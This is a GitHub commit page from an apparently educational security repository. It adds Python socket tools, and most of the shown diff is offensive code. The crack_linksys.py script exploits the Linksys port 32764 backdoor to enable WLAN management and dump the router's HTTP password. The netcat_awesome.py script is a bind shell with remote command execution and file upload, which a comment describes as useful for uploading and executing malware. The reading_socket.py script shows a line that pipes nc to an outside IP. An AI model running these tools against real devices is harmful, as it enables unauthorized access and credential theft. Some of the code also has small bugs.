Skip to content

Commit

Permalink
network --> python socket scripts
Browse files Browse the repository at this point in the history
  • Loading branch information
Mari Wahl committed Dec 16, 2014
1 parent ac171e1 commit 183bf44
Show file tree
Hide file tree
Showing 9 changed files with 371 additions and 41 deletions.
14 changes: 11 additions & 3 deletions Network_and_802.11/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,12 +20,14 @@
### socket

- Several scripts with Python's **socket** module:
* netcat
* cracking linksys
* reading socket
* A very simple netcat client
* A full netcat client and server
* Cracking linksys
* Reading socket
* TCP Client
* TCP Server
* UDP Client
* TCP Proxy


### telnetlib
Expand All @@ -39,6 +41,12 @@
* traceroute


### paramiko

- Several scripts for SSH connections:
* command
* tunneling


---

Expand Down
11 changes: 6 additions & 5 deletions Network_and_802.11/socket/crack_linksys.py
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/env python
sisu#!/usr/bin/env python

__author__ = "bt3"

Expand All @@ -7,8 +7,8 @@
import struct
import sys

#HOST = '192.168.1.1'
HOST = '192.168.33.1'
# Defining constants
HOST = '192.168.1.22'
PORT = 32764

def send_message(s, message, payload=''):
Expand All @@ -19,7 +19,7 @@ def send_message(s, message, payload=''):

if len(response) != 12:
print("Device is not a crackable Linksys router.")
print("Recieved invalid response: %s" % response)
print("Received invalid response: %s" % response)
raise sys.exit(1)

sig, ret_val, ret_len = struct.unpack('<III', response)
Expand All @@ -39,6 +39,7 @@ def send_message(s, message, payload=''):
if __name__ == '__main__':

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.connect(( HOST, PORT ))

send_message(s, 3, "wlan_mgr_enable=1")
print send_message(s, 2, "http_password")
211 changes: 191 additions & 20 deletions Network_and_802.11/socket/netcat_awesome.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -4,33 +4,204 @@


import socket
import sys
import getopt
import threading
import subprocess

# Definning constants
PORT = 12345
HOSTNAME = '54.209.5.48'
# Defining constants
LISTEN = False
COMMAND = False
UPLOAD = False
EXECUTE = ''
TARGET = ''
UP_DEST = ''
PORT = 0


def netcat(text_to_send):
# The option menu
def usage():
print "Usage: netcat_awesome.py -t <HOST> -p <PORT>"
print " -l --listen listen on HOST:PORT"
print " -e --execute=file execute the given file"
print " -c --command initialize a command shell"
print " -u --upload=destination upload file and write to destination"
print
print "Examples:"
print "netcat_awesome.py -t localhost -p 5000 -l -c"
print "netcat_awesome.py -t localhost -p 5000 -l -u=example.exe"
print "netcat_awesome.py -t localhost -p 5000 -l -e='ls'"
print "echo 'AAAAAA' | ./netcat_awesome.py -t localhost -p 5000"
sys.exit(0)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(( HOSTNAME, PORT))
s.sendall(text_to_send)
s.shutdown(socket.SHUT_WR)

adata = []
while 1:
data = s.recv(1024)
if data == "":
break
adata.append(data)
def client_sender(buffer):
# set TCP socket object
client = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

s.close()
return adata
try:
client.connect(( TARGET, PORT ))

# test to see if received any data
if len(buffer):
client.send(buffer)

while True:
# wait for data
recv_len = 1
response = ''

if __name__ == '__main__':
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response

# wait for more input until there is no more data
buffer = raw_input('')
buffer += '\n'

# send it
client.send(buffer)

except:
print '[*] Exception. Exiting.'
client.close()



def run_command(command):
command = command.rstrip()
print command
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, \
shell=True)
except:
output = "Failed to execute command.\r\n"
return output



def client_handler(client_socket):
global UPLOAD
global EXECUTE
global COMMAND

# check for upload
# useful for upload and execute malware, for example
if len(UP_DEST):
# read in bytes and write to destination
file_buf = ''

# keep reading data until no more data is available
while True:
data = client_socket.recv(1024)
if data:
file_buffer += data
else:
break

# try to write the bytes (wb for binary mode)
try:
with open(UP_DEST, 'wb') as f:
f.write(file_buffer)
client_socket.send('File saved to %s\r\n' % UP_DEST)
except:
client_socket.send('Failed to save file to %s\r\n' % UP_DEST)

# check for command execution:
if len(EXECUTE):
output = run_command(EXECUTE)
client_socket.send(output)

# go into a loop if a command shell was requested
if COMMAND:
while True:
# show a prompt:
client_socket.send('NETCAT: ')
cmd_buffer = ''

# scans for a newline character to determine when to process a command
# if using with a Python client, it's necessary to add this
while '\n' not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)

# send back the command output
response = run_command(cmd_buffer)

# send back the response
client_socket.send(response)

text_to_send = ''
text_recved = netcat(text_to_send))
print text_recved[1]

def server_loop():
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
server.bind(( TARGET, PORT ))
server.listen(5)

while True:
client_socket, addr = server.accept()
client_thread = threading.Thread( target =client_handler, \
args=(client_socket,))
client_thread.start()




def main():
global LISTEN
global PORT
global EXECUTE
global COMMAND
global UP_DEST
global TARGET


if not len(sys.argv[1:]):
usage()

# parse the arguments
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu", \
["help", "LISTEN", "EXECUTE", "TARGET", "PORT", "COMMAND", "UPLOAD"])
except getopt.GetoptError as err:
print str(err)
usage()


# Handle the options and arguments
for o, a in opts:
if o in ('-h', '--help'):
usage()
elif o in ('-l', '--listen'):
LISTEN = True
elif o in ('-e', '--execute'):
EXECUTE = a
elif o in ('-c', '--commandshell'):
COMMAND = True
elif o in ('-u', '--upload'):
UP_DEST = a
elif o in ('-t', '--target'):
TARGET = a
elif o in ('-p', '--port'):
PORT = int(a)
else:
assert False, "Unhandled option"


# NETCAT client (just sending data)
if not LISTEN and len(TARGET) and PORT > 0:
buffer = sys.stdin.read()
client_sender(buffer)


# NETCAT server
if LISTEN:
if not len(TARGET):
TARGET = '0.0.0.0'
server_loop()


if __name__ == '__main__':
main()
2 changes: 1 addition & 1 deletion Network_and_802.11/socket/netcat_simple.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

import socket

# Definning constants
# Defining constants
PORT = 12345
HOSTNAME = '54.209.5.48'

Expand Down
17 changes: 5 additions & 12 deletions Network_and_802.11/socket/reading_socket.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,10 @@

import os
import socket
import select
from time import sleep
import binascii
from subprocess import Popen,STDOUT,PIPE
import os
from math import *
import string
from subprocess import Popen, STDOUT, PIPE

# Defining constants
SHELL_COMMAND = "nc 54.209.5.48 12345"


def next_line(stdout):
Expand All @@ -32,12 +28,12 @@ def write(stdin,val):


def nl():
# shorter next line for iteration
# next line for iteration
return next_line(p.stdout)


def wr(val):
# shorter write for iteration
# write for iteration
write(p.stdin,val)


Expand All @@ -48,14 +44,11 @@ def ntext():
return line[len("psifer text:") + 1:]



def main():
SHELL_COMMAND = "nc 54.209.5.48 12345"

p = Popen(SHELL_COMMAND, shell=True, cwd="./", stdin=PIPE,
stdout=PIPE, stderr=STDOUT,close_fds=True)


while True:
text = ntext()
text += " -> just an example"
Expand Down
Empty file modified Network_and_802.11/socket/tcp_client.py
100644 → 100755
Empty file.
Loading

0 comments on commit 183bf44

Please sign in to comment.